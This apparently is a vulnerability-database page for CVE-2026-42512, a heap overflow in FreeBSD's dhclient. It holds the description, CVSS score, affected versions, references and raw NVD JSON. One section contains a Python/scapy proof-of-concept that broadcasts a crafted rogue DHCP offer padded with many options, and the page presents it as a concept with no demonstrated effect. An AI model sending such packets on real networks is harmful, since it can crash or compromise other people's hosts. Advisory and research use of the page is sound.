CVE-2026-42512

Description

As dhclient is building an environment to pass to dhclient-script, it may need to resize the array of string pointers. The code which expands the array incorrectly calculates its new size when requesting memory, resulting in a heap buffer overrun. A specially crafted packet can cause dhclient to overrun its buffer of environment entries. This can result in a crash, but it may be possible to leverage this bug to achieve remote code execution.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p11:*:*:*:*:*:* - VULNERABLE

FreeBSD (参考FreeBSD-SA-26:15)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Concept for CVE-2026-42512 (dhclient Heap Buffer Overflow)
# This script demonstrates sending a crafted DHCP packet to trigger array expansion logic.

from scapy.all import *

def send_malicious_dhcp():
    # Constructing a DHCP packet with excessive options to trigger buffer resize logic
    # Targeting the env array allocation bug in dhclient
    
    target_mac = "ff:ff:ff:ff:ff:ff"
    
    # Base DHCP Offer packet structure
    pkt = Ether(dst=target_mac) / IP(src="192.168.1.1", dst="255.255.255.255") \
          / UDP(sport=67, dport=68) \
          / BOOTP(op=2, yiaddr="192.168.1.100", xid=0xDEADBEEF) \
          / DHCP(options=[
              ("message-type", "offer"),
              ("server_id", "192.168.1.1"),
              ("subnet_mask", "255.255.255.0"),
              # Padding options to force environment array expansion
              *(("vendor_specific", f"overflow_trigger_{i}") for i in range(100)),
              "end"
          ])
    
    print("[*] Sending crafted DHCP packet...")
    sendp(pkt, iface="eth0", loop=0, verbose=1)

if __name__ == "__main__":
    send_malicious_dhcp()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42512
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42512
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42512/
[4] VulDB https://vuldb.com/cve/CVE-2026-42512
[5] https://security.freebsd.org/advisories/FreeBSD-SA-26:15.dhclient.asc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42512", "sourceIdentifier": "[email protected]", "published": "2026-04-30T09:16:03.373", "lastModified": "2026-05-01T16:16:32.447", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "As dhclient is building an environment to pass to dhclient-script, it may need to resize the array of string pointers. The code which expands the array incorrectly calculates its new size when requesting memory, resulting in a heap buffer overrun.\n\nA specially crafted packet can cause dhclient to overrun its buffer of environment entries. This can result in a crash, but it may be possible to leverage this bug to achieve remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:*", "matchCriteriaId": "947F561E-AD65-43B9-94C1-3109A3D35248"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:*", "matchCriteriaId": "4216D505-95A5-4FCC-8B9A-26FCD32B0445"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:*", "matchCriteriaId": "3D1987F1-1E08-4B28-8D16-D25A091D99ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:*", "matchCriteriaId": "4C859EE2-59C0-4234-BFF0-7794AC4956DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p11:*:*:*:*:*:*", "matchCriteriaId": "D1CEB391-5FA3-4FFD-9279-113093DD500D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p12:*:*:*:*:*:*", "matchCriteriaId": "EE54A637-BD2A-42F2-A155-CF3D4292B32D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p2:*:*:*:*:*:*", "matchCriteriaId": "BEC1E8A0-0402-45F1-938D-FEFDCFC3E747"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p3:*:*:*:*:*:*", "matchCriteriaId": "D94457D6-738F-4ABB-BD46-F2B621531FE2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p4:*:*:*:*:*:*", "matchCriteriaId": "8C38CB56-B80C-4D1B-9267-16E8F985B170"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p5:*:*:*:*:*:*", "matchCriteriaId": "13DF1E38-5E8D-42FF-A4C5-092300864F3E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p6:*:*:*:*:*:*", "matchCriteriaId": "83A86F81-0965-4600-835A-496756137998"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p7:*:*:*:*:*:*", "matchCriteriaId": "987E31A4-7E21-471E-A3EA-4E53FFDB3DFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p8:*:*:*:*:*:*", "matchCriteriaId": "9FBFE8B3-DC7C-4394-B062-C40E201EC059"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p9:*:*:*:*:*:*", "matchCriteriaId": "563C1D65-625D-43FC-A7A0-75B1E2163C40"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:-:*:*:*:*:*:*", "matchCriteriaId": "9DC7C54E-58AF-4ADE-84AF-0EF0F325E20E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p1:*:*:*:*:*:*", "matchCriteriaId": "D3D22B8C-36CF-4800-9673-0B0240558BDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p10:*:*:*:*:*:*", "matchCriteriaId": "7296F5AA-F8C1-4277-A4EE-C2B24073A320"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p11:*:*:*:*:*:*", "matchCriteriaId": "C30E4A9C-0594-4F40-92B3-26CB9AA85AE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p2:*:*:*:*:*:*", "matchCriteriaId": "242FA2A8-5D7D-4617-A411-2651FF3A3E4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p3:*:*:*:*:*:*", "matchCriteriaId": "40573F60-F3B7-4AEC-846A-B08E5B7D9D00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p4:*:*:*:*:*:*", "matchCriteriaId": "1FB832CE-0A98-44A2-8BAC-CD38A64279B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p5:*:*:*:*:*:*", "matchCriteriaId": "9A785F8E-C218-41AE-8D57-BF06DDAEF7CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p6:*:*:*:*:*:*", "matchCriteriaId": "C3909FDD-B2A2-45B6-A40B-1D303A717F15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p7:*:*:*:*:*:*", "matchCriteriaId": "720597A2-F181-46E1-8A0D-097E17ADC4FB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p8:*:*:*:*:*:*", "matchCriteriaId": "DC8A75D0-148A-427A-9783-45477EABED21"}, {"vulnerable": true, "criter ... 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